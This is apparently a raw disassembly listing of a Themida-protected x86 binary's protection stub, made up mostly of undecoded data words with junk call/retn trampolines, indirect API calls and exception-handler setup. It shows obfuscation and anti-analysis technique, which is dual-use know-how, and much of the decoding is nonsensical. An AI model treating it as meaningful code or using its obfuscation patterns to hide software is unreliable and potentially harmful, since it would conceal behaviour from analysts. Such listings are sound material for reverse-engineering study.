dd 18A0Fh, 0C7F50000h, 13305585h, 306h, 0DF8B6600h, 2FE9BD8Bh
dd 0BD830613h, 616C454h, 4D840F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 52FAC352h, 45E9A5h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 0BCA62AC3h, 1F546308h
dd 0C381845Ah, 2E6B0112h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 0B22DC355h, 0F4D807A8h
dd 0B70FB5F0h, 9E9F8h, 938B0000h, 56B77ADCh, 6A56D606h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 2FABC353h, 9D8B0DB5h, 6132879h, 3055BD83h
dd 0F030613h, 4F785h, 0CDBD8900h, 83061304h, 16C454BDh
dd 840F0006h, 4E4h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0BCC35646h, 98DBFA0Bh, 0C7181AD0h, 6642BB1Fh
dd 0B5FF2145h, 616C454h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0DFC35141h, 6995FF6Fh, 6A061309h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 6AB3C350h, 6B1210DAh, 1F359D29h, 0B58B0613h, 616C448h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F6C35242h
dd 56B100E5h, 4ADAE448h, 0E84AB160h, 0Bh, 0CA6F6B6Ch, 0B479E519h
dd 59E01A88h, 106C761h, 60000100h, 0F8F8E681h, 8D0B4C35h
dd 6131559h, 830F5061h, 0
; ---------------------------------------------------------------------------
mov [esp], esi
mov di, si
push dword ptr [ebp+616C454h]
push 0
push eax
call sub_5C5FF7
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5FF7 proc near ; CODE XREF: Themida_:005C5FEFp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5C5FF7 endp
; ---------------------------------------------------------------------------
xchg eax, esp
push 0FF140C4Eh
mov di, 10B6h
call dword ptr [ebp+6133229h]
mov edi, [ebp+6130645h]
mov edi, [ebp+6130BA5h]
mov esi, [ebp+616C448h]
mov ebx, [ebp+6131205h]
mov eax, [ebp+6130631h]
mov edi, [ebp+6132051h]
mov [esi+0C4h], eax
push 0
push esi
call sub_5C604C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C604C proc near ; CODE XREF: Themida_:005C6044p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5C604C endp
; ---------------------------------------------------------------------------
jmp short loc_5C606D
; ---------------------------------------------------------------------------
dw 56E1h
dd 8B05E8F8h, 131BBD95h, 56006A06h
db 0E8h
; ---------------------------------------------------------------------------
loc_5C606D: ; CODE XREF: Themida_:005C605Cj
add eax, [eax]
; ---------------------------------------------------------------------------
db 0
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 419CBF3h, 82363FCCh, 56601B56h, 5BF98B66h, 0C890Fh
dd 7E90000h, 15000000h, 2EF20BD4h, 6661C44Ah, 819FCF81h
dd 6A04C283h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 2B08C351h, 1C780C52h, 0D78166D7h
dd 8D01C8CFh, 6132A29h, 8B205089h, 131BCDBDh, 0E3858D06h
dd 890616D8h, 130F499Dh, 0B8868906h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 8290C352h, 471E2020h, 8C0F0F87h, 5, 65C51DBBh, 89006A05h
dd 132255BDh, 54B5FF06h, 6A0616C4h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 4E0C353h
dd 0E97BAC25h, 0Dh, 0EF84C81h, 5C2AC205h, 0ADC68931h, 9595FFBBh
dd 6A06131Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 0F6F1C357h, 579BD89h, 9D8B0613h
dd 61323A5h, 850F5096h, 0Ch, 52505250h, 2 dup(585A310Fh)
dd 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 0F90882E8h, 0D2E04AE2h, 9E9h, 16AAEF00h
dd 0DA7CE054h, 0DF8B47F2h, 0C454B5FFh, 6A0616h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0E39123C3h, 9276575Dh, 950158B0h, 61312C9h, 214595FFh
dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 66EE30C3h, 0BD839E11h, 6131495h, 71840F00h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 43CEC356h, 7591BDB6h, 50BF6076h
dd 0BB565250h, 41F4F7E5h, 0B7310F5Fh, 89585AB3h, 6A2434h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 600925C3h, 2A2811C8h, 0F26DF8Ah, 0A82h, 61606000h, 820Fh
dd 0BF610000h, 4F18C56Dh, 0C454B5FFh, 6A0616h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 5AD88DC3h, 0CE8B6B7h, 71000000h, 72F6E92Ah, 82C654BCh
dd 5BEFE146h, 5AD95FFh, 6A0613h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 83750CC3h, 0E19DB5BFh
dd 0FF8EB794h, 16C454B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 94F20907h
dd 120995FFh, 0B4B70613h, 511BD83h, 0F020613h, 7D84h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 3C8B8F9Eh, 0A456A54Ch, 0D5BD8B01h, 0F806131Ah, 0F55858Bh
dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 86DD49C3h, 0AC0BE11h, 0DF8B66AEh, 6A0000C6h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0E242C357h, 800Fh, 85C70000h, 6131E51h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5C63DF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C63DF proc near ; CODE XREF: Themida_:005C63D7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5C63DF endp
; ---------------------------------------------------------------------------
adc eax, 0FFF118E9h
jmp fword ptr [edx+0]
; ---------------------------------------------------------------------------
push ecx
call sub_5C6400
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6400 proc near ; CODE XREF: Themida_:005C63F8p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5C6400 endp
; ---------------------------------------------------------------------------
adc eax, 35FC7027h
mov dl, [edi+66h]
mov edi, ecx
pop edi
mov eax, ecx
mov ebx, [ebp+6131E79h]
lea eax, [ebp+6131EA9h]
push 0
push ebp
call sub_5C6434
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6434 proc near ; CODE XREF: Themida_:005C642Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5C6434 endp
; ---------------------------------------------------------------------------
lodsd
pusha
or al, 66h
pop ss
icebp
push eax
and edi, 2F0A635Dh
pop ebx
nop
push eax
nop
sub [ebp+6131D3Dh], eax
push 0
mov edi, [ebp+61330A5h]
push 0
mov ebx, 628F2E46h
lea eax, [ebp+617A311h]
mov [ebp+6130561h], ecx
cmc
add eax, 5
push eax
pop ebx
push eax
jg loc_5C6485
mov bl, cl
loc_5C6485: ; CODE XREF: Themida_:005C647Dj
mov [esp], eax
stc
mov bl, 0EBh
push 0
clc
push 0
push 0
push edi
call sub_5C649B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C649B proc near ; CODE XREF: Themida_:005C6493p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5C649B endp
; ---------------------------------------------------------------------------
cmp [edi+ecx+684h], cl
add [ecx], cl
xchg eax, ebp
dec ebp
sub [ebx], dl
push es
or ebx, 5B91B443h
call dword ptr [ebp+61307F1h]
push 0
push ecx
call sub_5C64D0
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C64D0 proc near ; CODE XREF: Themida_:005C64C8p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5C64D0 endp
; ---------------------------------------------------------------------------
test al, 9
sub eax, 10A59509h
adc eax, [esi]
lea ecx, [ebp+616A36Ah]
push 0
push esi
call sub_5C64FA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C64FA proc near ; CODE XREF: Themida_:005C64F2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5C64FA endp
; ---------------------------------------------------------------------------
dw 85E1h
; ---------------------------------------------------------------------------
fsub qword ptr [esi-45h]
imul dl
call ecx
push 0
push eax
call sub_5C651E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C651E proc near ; CODE XREF: Themida_:005C6516p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5C651E endp
; ---------------------------------------------------------------------------
adc eax, 55850913h
push es
adc eax, [esi]
mov [ebp+6130FDDh], ebx
cmp dword ptr [ebp+613173Dh], 1
jnz loc_5C65DB
push 0
push edi
call sub_5C6554
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6554 proc near ; CODE XREF: Themida_:005C654Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5C6554 endp
; ---------------------------------------------------------------------------
dd 2C44D062h, 7DB50939h, 6A06131Fh, 9D9D3102h, 0BF061322h
dd 30505ABEh, 89D98B50h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 6D1A1FC3h, 9D8BA2AEh
dd 61334A9h, 0FFD9B70Fh, 131E9595h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 2B82B891h
dd 130F41BDh, 2DBD8B06h
; ---------------------------------------------------------------------------
pop ds
adc eax, [esi]
loc_5C65DB: ; CODE XREF: Themida_:005C6543j
jmp loc_5C74ED
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 617A31Bh
mov [ebp+61323C1h], edi
pusha
mov esi, [ebp+6131005h]
xor ebx, [ebp+6131401h]
popa
lea eax, [ebp+6168F5Eh]
push 0
push esi
call sub_5C6611
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6611 proc near ; CODE XREF: Themida_:005C6609p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5C6611 endp
; ---------------------------------------------------------------------------
mul dword ptr [eax+36h]
mov ebp, 60504B11h
pusha
mov ax, cx
jnp $+6
popa
jnz loc_5C663D
mov bx, ax
loc_5C663D: ; CODE XREF: Themida_:005C6634j
popa
mov [esp], eax
push 0
push ecx
call sub_5C664C
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C664C proc near ; CODE XREF: Themida_:005C6644p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5C664C endp
; ---------------------------------------------------------------------------
dd 8529F53Bh, 35FF6454h, 0
; ---------------------------------------------------------------------------
mov [ebp+61308A9h], ebx
mov large fs:0, esp
xor di, 878Dh
inc dword ptr [ebp+61316D9h]
push 0
push edi
call sub_5C668B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C668B proc near ; CODE XREF: Themida_:005C6683p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5C668B endp
; ---------------------------------------------------------------------------
db 6Bh
dd 0CA423373h, 746C491Eh, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 0B9F048C3h, 56E72521h
dd 1371B589h, 0B5FF0613h, 613125Dh, 0E160D781h, 95FF7996h
dd 61331ADh, 147E9h, 758D8900h, 0B006130Bh, 2DBD3300h
dd 0E606131Ah, 0A5BD8B70h, 0E906132Bh, 0Ch, 9B30ED25h
dd 0F4883E76h, 0DE1B4A0h, 0BD2B71E4h, 6132565h, 830F613Ch
dd 110h, 21199D8Bh, 0BE80613h, 4A000000h, 5A856F6Ch, 0D0A8C552h
dd 8589764Ah, 6131E85h, 0C8B60F5Bh, 9E9h, 40177F00h, 4F748EDBh
dd 6BAF2E8h, 8B000000h, 6AD781C1h, 606DC877h, 0D5A92DBAh
dd 0E8C16143h, 66D88A04h, 0FE8BE2F7h, 9D8BC82Bh, 61310B9h
dd 0E1958960h, 0B906131Dh, 40DC0BF6h, 0BFD18B61h, 44793CD6h
dd 0C375BB66h, 19E9h, 95036000h, 6130C69h, 0CE9h, 8B17B000h
dd 419464A4h, 0CB95C06Fh, 858B610Bh, 6131A61h, 83F88B66h
dd 0C08307C0h, 85895600h, 6130521h, 0FD03B5Fh, 2183h, 1B8FBB00h
dd 5DE91F6Ch, 9000000h, 13153D9Dh, 830F6006h, 6, 830Fh
dd 0B70F0000h, 8D8B61F6h, 6133251h, 19599D8Bh, 0E1830613h
dd 31840F01h, 0E9000000h, 0Eh, 0F8B33BDEh, 3DD8F65Fh, 6E11F81h
dd 0A583F6FFh, 6133251h, 89BD01FEh, 8906131Ah, 131A6195h
dd 8B0F06h, 0E9000000h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6171D8Bh]
sub [ebp+6131EBDh], ebx
push 0
push 0
push edx
call sub_5C6845
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6845 proc near ; CODE XREF: Themida_:005C683Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5C6845 endp
; ---------------------------------------------------------------------------
xchg esi, [eax]
cmc
nop
xchg eax, esi
mov ebx, [ebp+61312A9h]
call dword ptr [ebp+6130DA9h]
push 0
push ecx
call sub_5C6871
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6871 proc near ; CODE XREF: Themida_:005C6869p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5C6871 endp
; ---------------------------------------------------------------------------
db 0EBh, 0F2h, 0CEh
dd 593FBB45h, 0BD8B5E15h, 613325Dh, 761B9h, 0DEB70F00h
dd 0EE8h, 832B9700h, 8C11E455h, 1D4FCF93h, 0E92DB8B2h
dd 11h, 0BCA463D8h, 0E2A09286h, 0B7D1BEBh, 0EE17FD05h
dd 0E1835FA3h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 6AFC7F21h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3E19C353h
dd 0E5D2CC49h, 0B8B764h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 750CC356h
dd 9DB5BF83h, 7A0C94E1h, 22C5BD89h, 0BA0613h, 8B000000h
dd 132981BDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 50006AF4h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0D5A0DB22h, 89DB4BD4h, 130B2985h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 9F3F2B13h
dd 659D23ECh, 0D061325h, 88h, 21A9BD8Bh, 958B0613h, 6131BBDh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 79C35545h
dd 2F0CB8BBh, 0E59D8B64h, 8B061320h, 1318DD8Dh, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0DD39B753h, 80BCBB66h, 8B50D98Ah, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 23D1BD0Bh, 6A0613h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A2D446C3h
dd 53CBD3F0h, 0BD835FF5h, 6131D1Dh, 96840F00h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 21F9C353h, 8A5031E5h, 300D8509h, 0BD090613h
dd 6130C59h, 0B8h, 0C3816600h, 8D8DC78Fh, 6134F8Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 69C35646h, 9B2838B9h
dd 7EA68CCEh, 6AE1FF10h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 4680C352h, 32BBEA77h
dd 605C55A4h, 5E9h, 219BD100h, 1FB65F77h, 55BD8361h, 61330h
dd 456840Fh, 0BB660000h, 0BD83BE04h, 6133055h, 60840F01h
dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 928C351h, 1310F18Dh, 28B0F06h
dd 0B7000000h, 55BD83BFh, 3061330h, 3F3860Fh, 0EE80000h
dd 0D1000000h, 0EABFF2E2h, 0A5EC56FDh, 69EBA836h, 8B66601Bh
dd 890FFBh, 61000000h, 6A605Fh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 0F391BC3h, 682h, 39BD2B00h
dd 23061325h, 1313B5BDh, 0D98C6606h, 0BE96056h, 95000000h
dd 0CFBC3BA1h, 0C14A6DFEh, 0BA66B116h, 5B610040h, 5E8h
dd 90737A00h, 8B668784h, 0E1805FD9h, 0B59D8B04h, 0A06131Fh
dd 62840FC9h, 8B000001h, 0B9858BDAh, 0F06132Bh, 1A8Ch
dd 12E800h, 0E99D0000h, 0D67F7D67h, 512657CDh, 48189567h
dd 0BCA309E6h, 335B6160h, 1305B985h, 66509006h, 6A90FE8Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 65D5C355h, 0DE9h, 0AD8CCB00h, 3F96C9D9h
dd 0A02F7090h, 6AC6D9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 0D9C35545h, 729AFDC6h, 1C1F4658h, 0B007A7BFh
dd 4E829h, 3FF0000h, 6650001Fh, 8B07B3BFh, 8B042444h, 0E9525000h
dd 6, 0A18E7B7h, 310FF416h, 4489585Ah, 0FABB0424h, 5836AC8Ch
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 8BC35040h
dd 11E9h, 0F7ACA100h, 288310D1h, 8B917B3Ch, 1FBFCD4Eh
dd 95FFBF1Fh, 6130A3Dh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 0E4C35040h, 93F72E69h, 6697B388h, 0A318DF81h
dd 6820F52h, 2B000000h, 130C5D9Dh, 85895F06h, 616C454h
dd 67CB8166h, 1C7E93Dh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 0B5AB4C3h, 8B208348h
dd 130149BDh, 4C858B06h, 6A0616C4h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1EA1C356h
dd 1800C796h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 70C2C353h, 0AD47D481h
dd 0BD298172h, 6132495h, 0C450B58Bh, 0D7800616h, 55858B65h
dd 6A06132Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 6467C355h, 660BB629h, 89D860BFh
dd 919D2306h, 6606130Dh, 858BFA8Bh, 6132BB9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 83C35040h, 44689F9h
dd 34F18D89h, 0E8500613h, 14h, 110EACC2h, 0B887AAF6h, 10981B28h
dd 0CB52CC0h, 34A1E425h, 895FF88Bh, 23512434h, 1310A5BDh
dd 0B5FF5B06h, 616C44Ch, 1DB99D8Bh, 680613h, 566EE2F6h
dd 0B8837FBFh, 34815F7Dh, 0FDF5FF24h, 13E86Eh, 69D10000h
dd 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h, 0CBC78116h
dd 5F5B83DDh, 0C454858Dh, 6A0616h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 2B1928C3h, 2890F50h
dd 53000000h, 2404895Fh, 0E9C68B60h, 6, 0D96AF0C3h, 0FF618988h
dd 130A3D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 0F3B9B204h, 0E9FB8B66h, 11h, 410B5931h
dd 0D366D0B4h, 0E53CF2E1h, 0CFE33B2Eh, 0BD8B619Fh, 6131295h
dd 305585C7h, 30613h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 8B9E9EC3h, 54BD83BDh
dd 616C4h, 2B840Fh, 0B5890000h, 6130029h, 3BE9h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0B70F6BF4h, 0C3050DAh, 11440011h, 10E8C101h, 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 53C35343h, 0DC4E56BFh, 0A99D8B21h, 8B061319h
dd 130F019Dh, 55BD8306h, 3061330h, 4E3850Fh, 9D290000h
dd 6130911h, 0C454BD83h, 0F000616h, 4D084h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 133A71F7h, 0E781660Fh, 0B5FFF6F3h, 616C454h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2BC35242h, 8AC56403h
dd 0FF031440h, 13096995h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8B539E5Ch
dd 132ECDBDh, 11E85B06h, 58000000h, 7FE36B50h, 3D94E03Ch
dd 11095465h, 2EB2BFFh, 48B58B5Fh, 6A0616C4h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0C07EC351h, 1DCD14CAh, 0B329BEB8h, 106C773h
dd 6A000100h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 8EB5C351h, 28BA4E2Eh, 23BB508Dh
dd 89319757h, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 37DEEDC3h, 54B5FF8Dh, 6A0616C4h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0BC7FC357h, 12ED9529h, 95FF0613h, 6133229h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5BC35040h
dd 400F64BDh, 43EEF723h, 0FBB70F56h, 48B58B5Fh, 8B0616C4h
dd 1306E9BDh, 0CE906h, 4C5C0000h, 85EE2C5h, 52CBD6C5h
dd 858BE1ECh, 6130631h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 4DC35747h, 8689A2C2h, 0C4h, 12859589h
dd 958B0613h, 6131BBDh, 835BF856h, 6A04C2h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0B4A164C3h
dd 8921C370h, 51602050h, 810Fh, 8B5A0000h, 131B11B5h, 858D6106h
dd 616D8E3h, 0E8FEBF0Fh, 13h, 9AE8273Dh, 9D016D7Fh, 0BA621E55h
dd 0E2C026D4h, 8B196ECBh, 130A59BDh, 86895F06h, 0B8h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 4C35242h, 0E62566BAh
dd 13E9600Ch, 0DD000000h, 0FA36E745h, 4C49BE58h, 45EE2180h
dd 0E83DA94Ah, 0C3807010h, 6A6188h, 0AE9h, 8C739600h, 0CEBE5755h
dd 0FF55CF79h, 16C454B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 95FF37B6h
dd 6131E95h, 518D8960h, 6006132Ah, 29EA8166h, 8E0F7Eh
dd 61000000h, 7E85061h, 3C000000h, 0C4800985h, 0CE94F8Eh
dd 91000000h, 1963BB2Fh, 0C39F3C2Ch, 5BE62F86h, 6A243489h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 1D3CC351h, 0FF752B11h, 16C454B5h, 0FE8B6606h
dd 214595FFh, 8D290613h, 6130C15h, 0BD83D98Bh, 6131495h
dd 5C840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 0C99AC351h, 669D72D1h
dd 0E6EE781h, 0E4BB6650h, 243489F0h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 7FC35545h, 0CDC5F905h, 8BD9BF0Fh
dd 1328099Dh, 35B52906h, 0FF061316h, 16C454B5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 1485E9BBh, 1EEBF7F6h, 8166D738h, 0FF9C30DBh, 1305AD95h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 0F5C07D0Eh, 0C454B5FFh, 6A0616h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 4953D5C3h, 0E8B18C8Fh, 11h, 0DC06AC1Ah, 89833F7Fh, 8B6269B0h
dd 0FADC1301h, 95FF5F66h, 6131209h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 63C35747h, 0F6ED3B20h, 0BA1F745Eh
dd 511BD83h, 0F020613h, 6284h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E6BDBDEAh
dd 0BD8B82D4h, 6131B81h, 551BD01h, 858B0613h, 6130F55h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C6C35141h
dd 666CECEFh, 891CECBFh, 13323D9Dh, 0C606h, 0C7FAB70Fh
dd 131E5185h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 3E49F038h, 0CB8008F9h
dd 0BD895007h, 61310A9h, 0F20AE95Fh, 6AFFFFh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 954C8CC3h
dd 0DDD9593Fh, 2A7D8589h, 0C18B0613h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 0E6C35747h, 1D73FD89h, 4C9C5ECEh
dd 0D5EF8166h
db 12h
; ---------------------------------------------------------------------------
loc_5C74ED: ; CODE XREF: Themida_:loc_5C65DBj
lea eax, [ebp+6131EA9h]
movzx edi, ax
push eax
mov ebx, 544F8779h
mov [esp], eax
push 0
push edx
call sub_5C750A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C750A proc near ; CODE XREF: Themida_:005C7502p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5C750A endp
; ---------------------------------------------------------------------------
dw 8065h
; ---------------------------------------------------------------------------
push 0
or bl, 0DFh
push 0
mov edi, ecx
lea eax, [ebp+617B3CBh]
mov bx, 725Ch
add eax, 5
push 0
push eax
call sub_5C753D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C753D proc near ; CODE XREF: Themida_:005C7535p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5C753D endp
; ---------------------------------------------------------------------------
mov ebp, 5B47620Dh
mov [ebp+61320CDh], edx
nop
mov di, ax
push eax
nop
and ebx, [ebp+61315F5h]
push 0
clc
push 0
add edi, [ebp+61322EDh]
call dword ptr [ebp+61307F1h]
